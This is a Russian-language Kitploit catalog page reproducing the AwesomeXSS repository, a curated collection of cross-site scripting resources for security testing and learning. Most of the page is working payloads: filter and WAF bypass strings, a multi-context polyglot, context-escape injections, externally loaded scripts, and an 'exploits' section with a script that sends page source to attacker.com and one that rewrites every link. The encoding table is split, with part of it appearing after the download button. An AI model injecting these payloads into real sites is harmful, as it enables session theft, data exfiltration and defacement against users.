Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
AwesomeXSS — Отличные материалы по XSS | Kitploit
Инструменты/GitHubGitHub/s0md3v/awesomexss
Генерация полезной нагрузкиОбход WAFВеб-безопасностьCTFСтатьи и ИсследованияОбучение и ОбразованиеПодобранные РесурсыУчебные Маршруты и КурсыЛаборатории и Практика
GitHubs0md3v/awesomexss

AwesomeXSS

Отличные материалы по XSS

5.1k782101 год назадПроверено Kitploit
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

AwesomeXSS

Этот репозиторий — коллекция ресурсов Awesome XSS. Вклад приветствуется; предложения отправляйте через issue.

Содержание

  • Челленджи
  • Статьи и презентации
  • Инструменты
  • Интеллект-карты
  • DOM XSS
  • Пейлоады
  • Полиглоты
  • Теги и обработчики событий
  • Выход из контекста
    • HTML-контекст
    • Контекст атрибута
    • JavaScript-контекст
  • Варианты confirm
  • Эксплойты
  • Методы зондирования
  • Обходы
  • Кодирование
  • Советы и хитрости
  • Лучшие челленджи

    • prompt.ml
    • alf.nu/alert1
    • xss-game.appspot.com
    • polyglot.innerht.ml
    • sudo.co.il/xss
    • root-me.org
    • chefsecure.com
    • wechall.net
    • codelatte.id/labs/xss

    Лучшие статьи и презентации

    • Обход механизмов обнаружения XSS
    • XSS в Facebook через PNG Content-Type
    • Как я встретил твою девушку
    • Как найти 1 352 XSS-уязвимости в плагинах WordPress за один час
    • Blind XSS
    • Copy Pest

    Лучшие инструменты

    • XSStrike
    • BeEF
    • JShell

    Лучшие интеллект-карты XSS

    Красивая интеллект-карта по XSS от Jack Masa — здесь

    Лучшие материалы по DOM XSS

    • Ваш ввод попадает в приёмник? Vulnerable
    • Нет? Not vulnerable

    Источник: ввод, который может контролироваться внешним (недоверенным) источником.

    root@kitploit:~
    document.URL
    document.documentURI
    document.URLUnencoded (IE 5.5 or later Only)
    document.baseURI
    location
    location.href
    location.search
    location.hash
    location.pathname
    document.cookie
    document.referrer
    window.name
    history.pushState()
    history.replaceState()
    localStorage
    sessionStorage
    

    Приёмник: потенциально опасный метод, который может привести к уязвимости. В данном случае — к DOM-based XSS.

    root@kitploit:~
    eval
    Function
    setTimeout
    setInterval
    setImmediate
    execScript
    crypto.generateCRMFRequest
    ScriptElement.src
    ScriptElement.text
    ScriptElement.textContent
    ScriptElement.innerText
    anyTag.onEventName
    document.write
    document.writeln
    anyElement.innerHTML
    Range.createContextualFragment
    window.location
    document.location
    

    Этот полный список приёмников и источников взят из domxsswiki.

    Лучшие пейлоады

    root@kitploit:~
    <A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
    <d3"<"/onclick="1>[confirm``]"<">z
    <d3/onmouseenter=[2].find(confirm)>z
    <details open ontoggle=confirm()>
    <script y="><">/*<script* */prompt()</script
    <w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
    <a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
    <a href=javas&#99;ript:alert(1)>click
    <script/"<a"/src=data:=".<a,[8].some(confirm)>
    <svg/x=">"/onload=confirm()//
    <--` --!>
    <svg%0Aonload=%09((pro\u006dpt))()//
    <sCript x>(((confirm)))``</scRipt x>
    <svg </onload ="1> (_=prompt,_(1)) "">
    <!--><script src=//14.rs>
    <embed src=//14.rs>
    <script x=">" src=//15.rs></script>
    <!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
    x
    <svg onload=write()>
    

    Лучшие полиглоты

    Вот XSS-полиглот, который я сделал; он позволяет выйти за пределы 20+ контекстов:

    root@kitploit:~
    %0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
    

    Объяснение принципа работы — здесь

    Лучшие теги и обработчики событий

    • 105 обработчиков событий с описанием
    • 200 обработчиков событий без описания

    Некоторые обработчики событий, которые реже детектируются

    root@kitploit:~
    ontoggle
    onauxclick
    ondblclick
    oncontextmenu
    onmouseleave
    ontouchcancel
    

    Некоторые HTML-теги, которые вам пригодятся

    root@kitploit:~
    img
    svg
    body
    html
    embed
    script
    object
    details
    isindex
    iframe
    audio
    video
    

    Лучшие способы выхода из контекста

    HTML-контекст

    Пример: <tag>You searched for $input. </tag>

    root@kitploit:~
    <svg onload=alert()>
    </tag><svg onload=alert()>
    

    Контекст атрибута

    Пример: <tag attribute="$input">

    root@kitploit:~
    "><svg onload=alert()>
    "><svg onload=alert()><b attr="
    " onmouseover=alert() "
    "onmouseover=alert()//
    "autofocus/onfocus="alert()
    

    JavaScript-контекст

    Пример: <script> var new something = '$input'; </script>

    root@kitploit:~
    '-alert()-'
    '-alert()//'
    '}alert(1);{'
    '}%0Aalert(1);%0A{'
    </script><svg onload=alert()>
    

    Лучшие варианты confirm

    Ага, confirm, потому что alert слишком избит.

    root@kitploit:~
    confirm()
    confirm``
    (confirm``)
    {confirm``}
    [confirm``]
    (((confirm)))``
    co\u006efirm()
    new class extends confirm``{}
    [8].find(confirm)
    [8].map(confirm)
    [8].some(confirm)
    [8].every(confirm)
    [8].filter(confirm)
    [8].findIndex(confirm)
    

    Лучшие эксплойты

    Замена всех ссылок
    root@kitploit:~
    Array.from(document.getElementsByTagName("a")).forEach(function(i) {
      i.href = "https://attacker.com";
    });
    
    Похититель исходного кода
    root@kitploit:~
    <svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
    

    Лучшие методы зондирования

    Если ничего из этого не сработало, загляните в раздел Лучшие обходы.

    Прежде всего введите неопасную строку, например d3v, и посмотрите исходный код, чтобы получить представление о количестве отражений и их контекстах.
    Теперь для контекста атрибута проверьте, фильтруются ли двойные кавычки ("), введя x"d3v. Если они преобразуются в x&quot;d3v, скорее всего, вывод экранируется корректно. Если так и происходит, попробуйте проделать то же самое с одинарными кавычками ('), введя x'd3v; если они преобразуются в x&apos;, всё пропало. Единственное, что остаётся, — кодирование.
    Если кавычки не фильтруются, можно просто попробовать пейлоады из раздела Лучшие способы выхода из контекста.
    Для JavaScript-контекста проверьте, какие кавычки используются. Например, если код выглядит так:

    root@kitploit:~
    variable = 'value' or variable = "value"
    

    Предположим, используются одинарные кавычки ('). В этом случае введите x'd3v. Если оно преобразуется в x\'d3v, попробуйте экранировать обратный слеш (), добавив обратный слеш к своей пробе, т.е. x\'d3v. Если сработает, используйте следующий пейлоад:

    root@kitploit:~
    \'-alert()//
    

    Но если оно преобразуется в x\\\'d3v, единственное, что можно попробовать, — закрыть сам тег script, используя

    root@kitploit:~
    </script><svg onload=alert()>
    

    Для простого HTML-контекста пробой служит x<d3v. Если оно преобразуется в x&gt;d3v, значит, установлена надлежащая санитизация. Если же строка отражается как есть, можно ввести фиктивный тег, чтобы проверить возможные фильтры. Мне нравится использовать фиктивный тег x<xxx>. Если он удаляется или изменяется любым способом, это означает, что фильтр ищет пару символов < и >. Его можно просто обойти с помощью

    root@kitploit:~
    <svg onload=alert()//
    

    или вот так (сработает не во всех случаях)

    root@kitploit:~
    <svg onload=alert()
    

    Если ваши фиктивные теги попадают в исходный код как есть, используйте любой из этих пейлоадов:

    root@kitploit:~
    <svg onload=alert()>
    <embed src=//14.rs>
    <details open ontoggle=alert()>
    

    Лучшие обходы

    Примечание: ни в одном из этих пейлоадов не используются одинарные (') или двойные (") кавычки.

    • Без обработчиков событий
    root@kitploit:~
    <object data=javascript:confirm()>
    <a href=javascript:confirm()>click here
    <script src=//14.rs></script>
    <script>confirm()</script>
    
    • Без пробела
    root@kitploit:~
    <svg/onload=confirm()>
    
    
    • Без слеша (/)
    root@kitploit:~
    <svg onload=confirm()>
    
    
    • Без знака равенства (=)
    root@kitploit:~
    <script>confirm()</script>
    
    • Без закрывающей угловой скобки (>)
    root@kitploit:~
    <svg onload=confirm()//
    
    • Без alert, confirm, prompt
    root@kitploit:~
    <script src=//14.rs></script>
    <svg onload=co\u006efirm()>
    <svg onload=z=co\u006efir\u006d,z()>
    
    • Без валидного HTML-тега
    root@kitploit:~
    <x onclick=confirm()>click here
    <x ondrag=aconfirm()>drag it
    
    • Обход чёрного списка тегов
    root@kitploit:~
    </ScRipT>
    </script
    </script/>
    </script x>
    

    Кодирование

    HTMLСимволNumericОписаниеHexCSS (ISO)JS (Octal)URL
    &quot;"&#34;кавычкаu+0022\0022\42%22
    &num;#&#35;знак номераu+0023\0023\43%23
    &dollar;$&#36;знак доллараu+0024\0024\44%24
    &percnt;%&#37;знак процентаu+0025\0025\45%25
    &amp;&&#38;амперсандu+0026\0026\46%26
    &apos;'&#39;апострофu+0027\0027\47%27
    &lpar;(&#40;левая круглая скобкаu+0028\0028\50%28
    &rpar;)&#41;правая круглая скобкаu+0029\0029\51%29
    &ast;*&#42;звёздочкаu+002A\002a\52%2A
    &plus;+&#43;знак плюсаu+002B\002b\53%2B
    &comma;,&#44;запятаяu+002C\002c\54%2C
    &minus;

    Советы и хитрости

    • http(s):// можно сократить до // или /\\ или \\.
    • document.cookie можно сократить до cookie. Это применимо и к другим DOM-объектам.
    • alert и другие всплывающие функции не требуют значения, так что хватит делать alert('XSS') и начните делать alert().
    • Для закрытия тега вместо > можно использовать //.
    • Я заметил, что confirm — наименее детектируемая всплывающая функция, так что хватит использовать alert.
    • Кавычки вокруг значения атрибута не обязательны, если оно не содержит пробелов. Можно использовать <script src=//14.rs> вместо <script src="//14.rs">.
    • Самый короткий XSS-пейлоад для HTML-контекста — <script src=//14.rs> (19 символов).

    Благодарности

    Все пейлоады созданы мной, если не указано иное.

    Скачать инструмент
    -
    &#45;
    дефис-минус
    u+002D
    \002d
    \55
    %2D
    &period;.&#46;точкаu+002E\002e\56%2E
    &sol;/&#47;косая черта (слэш)u+002F\002f\57%2F
    &colon;:&#58;двоеточиеu+003A\003a\72%3A
    &semi;;&#59;точка с запятойu+003B\003b\73%3B
    &lt;<&#60;знак «меньше»u+003C\003c\74%3C
    &equals;=&#61;знак равенстваu+003D\003d\75%3D
    &gt;>&#62;знак «больше»u+003E\003e\76%3E
    &quest;?&#63;вопросительный знакu+003F\003f\77%3F
    &commat;@&#64;знак «at»u+0040\0040\100%40
    &lsqb;[&#91;левая квадратная скобкаu+005B\005b\133%5B
    &bsol;\&#92;обратный слешu+005C\005c\134%5C
    &rsqb;]&#93;правая квадратная скобкаu+005D\005d\135%5D
    &Hat;^&#94;циркумфлексu+005E\005e\136%5E
    &lowbar;_&#95;нижнее подчёркиваниеu+005F\005f\137%5F
    &grave;`&#96;грависu+0060\0060\u0060%60
    &lcub;{&#123;левая фигурная скобкаu+007b\007b\173%7b
    &verbar;|&#124;вертикальная чертаu+007c\007c\174%7c
    &rcub;}&#125;правая фигурная скобкаu+007d\007d\175%7d